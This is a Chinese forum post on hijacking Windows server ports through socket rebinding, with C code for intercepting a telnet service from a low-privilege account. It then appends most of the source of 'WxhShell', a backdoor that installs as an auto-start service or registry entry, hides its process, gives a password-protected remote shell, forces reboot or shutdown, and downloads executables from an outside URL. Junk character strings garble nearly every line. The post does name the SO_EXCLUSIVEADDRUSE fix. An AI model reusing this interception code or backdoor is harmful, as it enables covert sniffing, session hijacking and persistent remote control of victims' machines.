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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D=ZH? d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mQ~0cwo)  
VR:4|_o  
  saddr.sin_family = AF_INET; _6O\*|'6  
G%Dhj)2}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {c|{okQ;Q  
O:G5n 5J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pGO=3=O  
yxz)32B?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "CH3\O\  
',>Pz+XKc  
  这意味着什么?意味着可以进行如下的攻击: A.[~}ywH  
S8_>Lw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4xYW?s(  
r0xmDJ@y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C~o\Q# *j  
JJE3\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q`u^ sc  
s2 8t'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K*"Wq:T;B  
8x,{rS qq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 agI"Kh]j?  
/O*4/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wr`+xYuuC=  
+xL*`fn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W08rGY  
z\F#td{r  
  #include @Q%9b)\\  
  #include ~R+,4  
  #include dm:2:A8^  
  #include    C2a2K={  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O_S%PX  
  int main() v9_7OMl/x  
  { hKjG/g:#G  
  WORD wVersionRequested; y' r I1eF  
  DWORD ret; aS $ J `  
  WSADATA wsaData; 8aMmz!S  
  BOOL val; >;NiG)Z  
  SOCKADDR_IN saddr; 6[k7e!&  
  SOCKADDR_IN scaddr; S}}L& _  
  int err; t(.jJ>|+*  
  SOCKET s; iTu~Y<'m  
  SOCKET sc; ^VOA69n>$  
  int caddsize; +N>z|T<  
  HANDLE mt; @?/>$  
  DWORD tid;   g)**)mz[  
  wVersionRequested = MAKEWORD( 2, 2 ); C&/_mm5  
  err = WSAStartup( wVersionRequested, &wsaData ); \; FE@  
  if ( err != 0 ) { V/@7XAt  
  printf("error!WSAStartup failed!\n"); t4H*&U  
  return -1; C9VtRq  
  } |e+r|i]  
  saddr.sin_family = AF_INET; b.#0{*/G  
   d&owS+B{48  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0qSf7"3f  
:={rPj-nU  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GS@ Zc2JPF  
  saddr.sin_port = htons(23); DPM4v7 S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sz@Y$<o  
  { 6BY(Y(z  
  printf("error!socket failed!\n");  oHR@*2b  
  return -1; LKsK!X  
  } >MLP mER  
  val = TRUE; ur| vh5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pkEx.R)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K4vOy_wT  
  { @@=e-d  
  printf("error!setsockopt failed!\n"); Rz:1(^oA  
  return -1; '&<saqA  
  } n?S~(4%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (4Ha'uqz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fI"OzIJV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w%uM=YmuT  
B.F~/PET  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V: P   
  { W@p27Tiq  
  ret=GetLastError(); |,lw$k93  
  printf("error!bind failed!\n"); qE@H~&  
  return -1; 9FcH\2J  
  } T_I ApC  
  listen(s,2); f =kt0  
  while(1) 8umW>  
  { 8!|LJI  
  caddsize = sizeof(scaddr); z *~rd2  
  //接受连接请求 ( yv)zg9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }S=m: VKH  
  if(sc!=INVALID_SOCKET) %~EOq\&  
  { L',7@W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U`kO<ztk  
  if(mt==NULL) CJf4b:SY@  
  { n|Gw?@CU7  
  printf("Thread Creat Failed!\n"); JXqwy^f  
  break; PD`EtkUnv  
  } M2piJ'T4u  
  } Np>0c -S  
  CloseHandle(mt);  G4{TJ,~  
  } s&D>'J  
  closesocket(s); qLk7C0  
  WSACleanup(); 4mwLlYZ  
  return 0; 2|D<0d#W  
  }   my*E7[  
  DWORD WINAPI ClientThread(LPVOID lpParam) YE[{Y(5;q  
  { U{ ZKxE  
  SOCKET ss = (SOCKET)lpParam; ~09kIO)  
  SOCKET sc; jFG Y`9Zw0  
  unsigned char buf[4096]; |6T"T P  
  SOCKADDR_IN saddr; =0mXTY1  
  long num; =fcRH:B:  
  DWORD val; #bCzWg  
  DWORD ret; u=& $Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]:Sb#=,!&!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .( X!*J]G  
  saddr.sin_family = AF_INET; Mq4>Mu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); eDL0Vw  
  saddr.sin_port = htons(23); ,N@N4<C]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;`rz]7,*  
  { d;E (^l  
  printf("error!socket failed!\n"); D~r{(u~Ya  
  return -1; *FC26_pH  
  } K?H(jP2mpM  
  val = 100; T74."Lo#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -14~f)%NQ*  
  { a.B<W9$`  
  ret = GetLastError(); BTa#}LBZ+  
  return -1; &OP =O*B  
  } E9#.!re|^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HRW }Yl  
  { :AM_C^j~ D  
  ret = GetLastError(); =(W l'iG   
  return -1; m"tke'a  
  } CV7%ud]E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u\P)x~-TM  
  { k{ibD5B  
  printf("error!socket connect failed!\n"); q\T}jF\t  
  closesocket(sc); 9Lqo^+0)\  
  closesocket(ss); >&l{_b\k  
  return -1; 0uO<7IW9  
  } p^i]{"sjbU  
  while(1) LAPC L&Z  
  { .Af H>)E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 } f+hB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~R\U1XXyUY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ">rt *?^  
  num = recv(ss,buf,4096,0); bZi;jl  
  if(num>0) R4Si{J*O  
  send(sc,buf,num,0); p="K4E8~H  
  else if(num==0) &$hT27A>k  
  break; k ks ?S',  
  num = recv(sc,buf,4096,0); 2-.%WhE/  
  if(num>0) 2mVLR;s{_  
  send(ss,buf,num,0); aFVd}RO0  
  else if(num==0) jN^09T49  
  break; /S\y-M9  
  } v}-jls  
  closesocket(ss); R22P ol  
  closesocket(sc); ~L=Idt!9  
  return 0 ; G?QU|<mj<  
  } N~@VZbS(6  
+yYSp8>  
>"z&KZKI  
========================================================== >5}jM5$  
6mbHfL>cO  
下边附上一个代码,,WXhSHELL qvhol  
_I}rQfPJ  
========================================================== <6)  w  
JdW:%,sv  
#include "stdafx.h" _Q3Ad>,U  
%l8nTcL_?  
#include <stdio.h> i&dMX:fRd  
#include <string.h> 4yu ^cix(  
#include <windows.h> IfGQeynj  
#include <winsock2.h> M=aWL!nJ  
#include <winsvc.h> *|DIG{  
#include <urlmon.h> 1*Ui=M4  
wc5OK0|  
#pragma comment (lib, "Ws2_32.lib") YOHYXhc{S  
#pragma comment (lib, "urlmon.lib") c(<,qWH  
h7H#sL[^  
#define MAX_USER   100 // 最大客户端连接数 X@ Gm:6  
#define BUF_SOCK   200 // sock buffer d.3O1TXK  
#define KEY_BUFF   255 // 输入 buffer #815h,nP+  
\Ow-o0  
#define REBOOT     0   // 重启 \4.U.pKY  
#define SHUTDOWN   1   // 关机 @BZ6{@*  
]8XY "2b  
#define DEF_PORT   5000 // 监听端口 Ur]~>-Z  
LF~=,S  
#define REG_LEN     16   // 注册表键长度 3e g<)  
#define SVC_LEN     80   // NT服务名长度 _~`\TS8  
<E|K<}W#  
// 从dll定义API 43;@m}|7$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d&p]O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [k9aY$baT^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {t$ vsR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k]Y#-Q1p~  
q(Y<cJ?X  
// wxhshell配置信息 O]n"aAu@  
struct WSCFG { o4b!U%  
  int ws_port;         // 监听端口 @awaN  
  char ws_passstr[REG_LEN]; // 口令 )-9G*3  
  int ws_autoins;       // 安装标记, 1=yes 0=no 22|f!la8n  
  char ws_regname[REG_LEN]; // 注册表键名 pQxaT$  
  char ws_svcname[REG_LEN]; // 服务名 Es kh=xA {  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $;_'5`xs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6$>m s6g%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,XW6W&vR;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .e2u)YqA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?J+[|*'yK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8kih81tx"U  
'f<0&Ci8  
}; P sD+?  
r6Z&i^cMe  
// default Wxhshell configuration SMQuJ_  
struct WSCFG wscfg={DEF_PORT, YizJT0$  
    "xuhuanlingzhe", {W }.z  
    1, w?.0r6j  
    "Wxhshell", ~\K+)(\SNp  
    "Wxhshell", GD|uU  
            "WxhShell Service", @.-g  
    "Wrsky Windows CmdShell Service", ;tI=xNre`1  
    "Please Input Your Password: ",  :XF;v  
  1, ]?^m;~MQZ  
  "http://www.wrsky.com/wxhshell.exe", `6!l!8 v  
  "Wxhshell.exe" 6@!<' l%z  
    }; W)V"QrFK  
Iq_cs '  
// 消息定义模块 :SSe0ZZ_6b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /wI$}X5o~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !yH&l6s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (I,PC*:  
char *msg_ws_ext="\n\rExit."; g`gH]W FcG  
char *msg_ws_end="\n\rQuit."; W*-+j*e|_P  
char *msg_ws_boot="\n\rReboot..."; "VkraB.i  
char *msg_ws_poff="\n\rShutdown..."; LKxyj@Eq  
char *msg_ws_down="\n\rSave to "; Revc :m1o  
uFb&WIo1  
char *msg_ws_err="\n\rErr!"; vgHMVzxj  
char *msg_ws_ok="\n\rOK!"; Q9X_aB0  
sju. `f>-r  
char ExeFile[MAX_PATH]; [1dlV/  
int nUser = 0; <;+&`R  
HANDLE handles[MAX_USER]; P$Xig  
int OsIsNt; ~0|Hw.OK  
zhKb|SV  
SERVICE_STATUS       serviceStatus; cW26TtU(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %Ox*?l _  
%ztCcgu*  
// 函数声明 ?H0 #{!s  
int Install(void); 3F[z]B  
int Uninstall(void); Cz+>S3v M  
int DownloadFile(char *sURL, SOCKET wsh); zm9>"(H  
int Boot(int flag); |JSj<~1ki  
void HideProc(void); F.?^ko9d  
int GetOsVer(void); 5pI2G  
int Wxhshell(SOCKET wsl); W7S`+Pq  
void TalkWithClient(void *cs); w8kp6_i'  
int CmdShell(SOCKET sock); h:<p EL  
int StartFromService(void); bB->\  
int StartWxhshell(LPSTR lpCmdLine); O2q`2L~  
- ~T LI&[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D1;H,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,Za!  
&#F>%~<or  
// 数据结构和表定义 i!LEA/"V  
SERVICE_TABLE_ENTRY DispatchTable[] = 'mp@!@_  
{ Nj5Mc>_   
{wscfg.ws_svcname, NTServiceMain}, 3u^U\xB  
{NULL, NULL} \ty{KAc&  
}; G?jKm_`L  
Pb]: i+c)  
// 自我安装 -Id4P _y  
int Install(void) }Ry:})  
{ 7;jwKA;k  
  char svExeFile[MAX_PATH]; [KLs} ~H  
  HKEY key; KaNi'=nW  
  strcpy(svExeFile,ExeFile); (, /`*GC  
)q 8w+'z  
// 如果是win9x系统,修改注册表设为自启动 1N{}G$'Go  
if(!OsIsNt) { /bv1R5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Aw~ =U!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5I`j'j  
  RegCloseKey(key); _dky+ E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3gV 17a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  $A]2Iw!&  
  RegCloseKey(key); 0+L:+S  
  return 0; tgSl (.  
    } UmUw>+A  
  } B +[ri&6X\  
} |T\`wcP`q  
else { g X75zso  
iZ}Afj  
// 如果是NT以上系统,安装为系统服务 Ezsb'cUa(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;rXkU9  
if (schSCManager!=0) Q#w mS&$f  
{ ^YG'p?r.s  
  SC_HANDLE schService = CreateService sQUJ]h  
  ( 7iMBDkb7  
  schSCManager, b* k=  
  wscfg.ws_svcname, 2[!#Xf  
  wscfg.ws_svcdisp, cCx@VT`0  
  SERVICE_ALL_ACCESS, h,%`*Qg6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %3b;`Oa  
  SERVICE_AUTO_START, t6u>_Sh e  
  SERVICE_ERROR_NORMAL, x-27rGN  
  svExeFile, [PG#5.jwQ  
  NULL, cHo@F!{o=  
  NULL, &! i'Q;q  
  NULL, cxX/ b ,  
  NULL, SB~HHx09  
  NULL ]JDKoA{S0  
  ); ~EIK  
  if (schService!=0) ~-2%^ovB  
  { ]hE%Tk-  
  CloseServiceHandle(schService); P:D@ 5  
  CloseServiceHandle(schSCManager); *^[m?3"W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )M3} 6^s]  
  strcat(svExeFile,wscfg.ws_svcname); Ln-UN$2~F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7`xeuK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CgT5sk}  
  RegCloseKey(key); 1fgO3N  
  return 0; &#/UWv}f 0  
    } B`{7-Asc1  
  } #su R[K*S  
  CloseServiceHandle(schSCManager); Z7]["  
} \7V[G6'{  
} MS5X#B  
B`<a~V  
return 1; kB#;s  
} t[e`wj+qz  
cnw?3/J  
// 自我卸载 fEJF3<UF&  
int Uninstall(void) g9~QNA  
{ f]sc[_n]  
  HKEY key; D( \c?X"  
y.>1r7  
if(!OsIsNt) { P>}OwW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8*x/NaH /\  
  RegDeleteValue(key,wscfg.ws_regname); >mAi/TZC  
  RegCloseKey(key); m'n<.1;1{j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -3GlpC22  
  RegDeleteValue(key,wscfg.ws_regname); MSqW {  
  RegCloseKey(key); b?U2g?lN:  
  return 0; '"m-kor  
  } 9P1!<6mN\  
} n@=D,'cn  
} Zjkg"  
else { 50`=[l`V  
jp+s[rRc\{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [gaB}aLn  
if (schSCManager!=0) _uL8TC ^  
{ ?B32,AS@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S*l=FRFI  
  if (schService!=0) +\x}1bNS%j  
  { {>Yna"p  
  if(DeleteService(schService)!=0) {  (z.4er}o  
  CloseServiceHandle(schService); GHR r+  
  CloseServiceHandle(schSCManager); $tqr+1P  
  return 0; &{e:6t  
  } `f<&=_,xfH  
  CloseServiceHandle(schService); U|~IJU3-  
  } rM0Idc.$&&  
  CloseServiceHandle(schSCManager); SG@E*yT1  
} 8&wN9tPYZ  
} XK{KFB-  
@bIZ0tr4  
return 1; g[L}puN  
} 2-dEie/{'  
7r{159&=  
// 从指定url下载文件 !B/5@P  
int DownloadFile(char *sURL, SOCKET wsh) #BW:*$>}  
{ `^df la  
  HRESULT hr; 3of0f{ZTj  
char seps[]= "/"; MZvxcr{x  
char *token; UT%?3}*u"  
char *file; @MxB d,P  
char myURL[MAX_PATH]; J+ uz{  
char myFILE[MAX_PATH]; n{"e8vQx  
=JE5/  
strcpy(myURL,sURL); Zvkb=  
  token=strtok(myURL,seps); `zOn(6B;U  
  while(token!=NULL) ,In}be$:  
  { WesEZ\V  
    file=token; TG6E^3a P  
  token=strtok(NULL,seps); RG6U~o1  
  } ;Dp<|n  
/DX6Hkkj%  
GetCurrentDirectory(MAX_PATH,myFILE); O4oI&i 7  
strcat(myFILE, "\\"); <"Yx}5n.  
strcat(myFILE, file); X< 4f7;]O  
  send(wsh,myFILE,strlen(myFILE),0); aucG|}B  
send(wsh,"...",3,0); >JHQA1mX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y Dw#V`Y^M  
  if(hr==S_OK) #@:GLmD%  
return 0; xeW}`i5_w  
else LLPbZ9q  
return 1; v5 I}a7  
V5rW_X:]8  
} _)MbvF  
N*'d]P2P`J  
// 系统电源模块 {7^D!lis  
int Boot(int flag) ZDr&Alp)o  
{ u&r+ylbs I  
  HANDLE hToken; c=<5DC&p  
  TOKEN_PRIVILEGES tkp; PDhoCAh !  
kz^?!l)X0  
  if(OsIsNt) { oT*qMLdn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c}mWAZ=wF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3>%:%bP  
    tkp.PrivilegeCount = 1; lO=~&_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WoWmmZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t{Z:N']H  
if(flag==REBOOT) { O_^;wey0}?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wg=-&-  
  return 0; JQH>{OB  
} /XXy!=1J  
else { %Iv*u sXP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "w:?WS  
  return 0; c. 06Sw*  
} >.r> aH  
  } O_^t u?x  
  else { 8'o6:  
if(flag==REBOOT) { 4{rj 4P?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;0-Y),  
  return 0; dr]Pns9  
} Qb?e A  
else { */y (~O6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P:fcbfH+  
  return 0; hv#|dI=kZR  
} YOQ>A*@4  
} G }U'?p  
IRIYj(J  
return 1; 48RSuH  
} [xHHm5$  
XY!0yAK(!  
// win9x进程隐藏模块 < m/@_"  
void HideProc(void) KYR64[1  
{ `w EAU7m:  
9;R'Xo=y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H,0Io  
  if ( hKernel != NULL ) 1s6L]&B  
  { uO5y{O2W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f8S!FGiNc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $HP<C>^Z8  
    FreeLibrary(hKernel); z~Is E8  
  } CJe~>4BT  
;3Z6K5z*f  
return; d'k99(vy  
} 5DmW5w'p  
,_z"3B)]  
// 获取操作系统版本 +jb<=ERV[  
int GetOsVer(void) 36UUt!}p  
{ T,/:5L9  
  OSVERSIONINFO winfo; 0[.T`tpN'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  ,$(a,`s)  
  GetVersionEx(&winfo); "wnN 0 p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /q5!p0fH*  
  return 1; 'q\[aKEX=  
  else vJ{aBx`VS  
  return 0; +'{d^-( (  
} v \dP  
qh#?a'  
// 客户端句柄模块 mOfTq] @B  
int Wxhshell(SOCKET wsl) =XFyEt  
{ d8.A8<wUr  
  SOCKET wsh; A5go)~x\  
  struct sockaddr_in client; 98XlcI#  
  DWORD myID; i,!tu  
#oJ%i+V  
  while(nUser<MAX_USER) c' Q4Fzj0'  
{ E7  P'}  
  int nSize=sizeof(client); J*4T| #0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2?@Ozr2Uh  
  if(wsh==INVALID_SOCKET) return 1; _K3;$2d|R  
ou=33}uO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Gc9 3PA7q  
if(handles[nUser]==0) { t@7r  
  closesocket(wsh); Axw+zO  
else 65l9dM2  
  nUser++; 6"yIk4u:  
  } `]F#j ]"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I ;F\'P)e  
&M7AM"9  
  return 0; +LF`ZXe8l  
} upiYo(sN.  
C(n_*8{  
// 关闭 socket ^ /)%s3  
void CloseIt(SOCKET wsh) mD7kOOMY  
{ K"8!  
closesocket(wsh); t'[`"pp=  
nUser--; Dlg9PyQ  
ExitThread(0); !M}ZK(  
} IHv>V9yiG  
>[S\NAE>  
// 客户端请求句柄 oB+Ek~{z]  
void TalkWithClient(void *cs) \: R Akf<  
{ * BKIA  
|eK^Yhym  
  SOCKET wsh=(SOCKET)cs; 4wPP/`  
  char pwd[SVC_LEN]; ]v l?J  
  char cmd[KEY_BUFF]; hVh,\d&2t  
char chr[1]; ,8o Y(h  
int i,j; 5% w08  
cUTG! P\R  
  while (nUser < MAX_USER) { g/gaPc*86  
.9q`Tf  
if(wscfg.ws_passstr) { VBz G`&NG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V`}u:t7r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ak zKX}  
  //ZeroMemory(pwd,KEY_BUFF); W!JEl|]  
      i=0; 9>= S@hVMd  
  while(i<SVC_LEN) { ^G NL:D%6d  
zGa V^X  
  // 设置超时 {Gw{W&<  
  fd_set FdRead; *9 (E0"  
  struct timeval TimeOut; c"P:p%\m&u  
  FD_ZERO(&FdRead); LeYI<a@n@$  
  FD_SET(wsh,&FdRead); ($t;Xab  
  TimeOut.tv_sec=8; XQZiJ %'  
  TimeOut.tv_usec=0; =oTj3+7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6ipQx/IQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); { }P~nP  
8d(l)[GZt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vJ e c+a  
  pwd=chr[0]; Px&)kEQ  
  if(chr[0]==0xd || chr[0]==0xa) { f& Vx`oj  
  pwd=0; 7,Y+FZ  
  break; )1f.=QZN^;  
  } Wz;@Rl|F  
  i++; ;WG%)^e  
    } Fi# 9L  
K;]Dh?  
  // 如果是非法用户,关闭 socket NG: f>R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9r ](/"=f  
} d3NER}f4V  
z pg512\y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G$2Pny<!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,_ @) IN  
=KHX_ib  
while(1) { ]PB95%  
l@`n4U.Gwl  
  ZeroMemory(cmd,KEY_BUFF); 3U*4E?g  
2Hk21y\  
      // 自动支持客户端 telnet标准   Yn>FSq^Wp-  
  j=0; $?On,U  
  while(j<KEY_BUFF) { _)6r@fZ.p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o1H6E1$=  
  cmd[j]=chr[0]; H %ScrJ#V  
  if(chr[0]==0xa || chr[0]==0xd) { n>,? V3ly  
  cmd[j]=0; CKX3t:HP0  
  break; Gz2\&rmN  
  } _5o5/@  
  j++; (]-RL A>  
    } eWXR #g!%>  
be [E^%  
  // 下载文件 @*WrHoa2N  
  if(strstr(cmd,"http://")) { W+Ou%uv}S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e@PY(#ru  
  if(DownloadFile(cmd,wsh)) `:d\L H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bL|$\'S  
  else z}Vg4\x&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c=re(  
  } \ *A!@T  
  else { 9ZDbZc  
-X-sykDm  
    switch(cmd[0]) { mNJCV8 <  
  C%#u2C2  
  // 帮助 pz"}o#R"x  
  case '?': { s<5PsR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <:!:7  
    break; <Vh }d/  
  } XJ1Bl  
  // 安装 FLIU}doc  
  case 'i': { EIF  
    if(Install()) f[?JLp   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (~fv;}}v  
    else Xm<|m#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (4/W)L$  
    break; 5=1Ml50  
    } RQ4+EW 1G  
  // 卸载 BN6cu9a  
  case 'r': { L0Ajj=  
    if(Uninstall()) :es=T`("A8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); li0)<("/  
    else z&\N^tBv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7tne/Yz  
    break; #X0Xc2}{f  
    } u1>WG?/`  
  // 显示 wxhshell 所在路径 ~.z82m  
  case 'p': { 0D0uzUD-  
    char svExeFile[MAX_PATH]; 1?G%&X@ X  
    strcpy(svExeFile,"\n\r"); 4~2 9,  
      strcat(svExeFile,ExeFile); 3E}j*lo  
        send(wsh,svExeFile,strlen(svExeFile),0); g!Ui|]BI9  
    break; |W}D_2  
    } d+"F(R9  
  // 重启 +^%)QH>9   
  case 'b': { 6q,CEm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Z)#SzY  
    if(Boot(REBOOT)) 8!MVDp[|"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -fN5-AC  
    else { bGK-?BE5+A  
    closesocket(wsh); ft~QVe!  
    ExitThread(0); RFq=`/>dG  
    } n*Hx"2XF  
    break; Z_>:p^id  
    } U&SSc@of  
  // 关机 t0Inf [um  
  case 'd': { SZ:R~4 A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VBW][f  
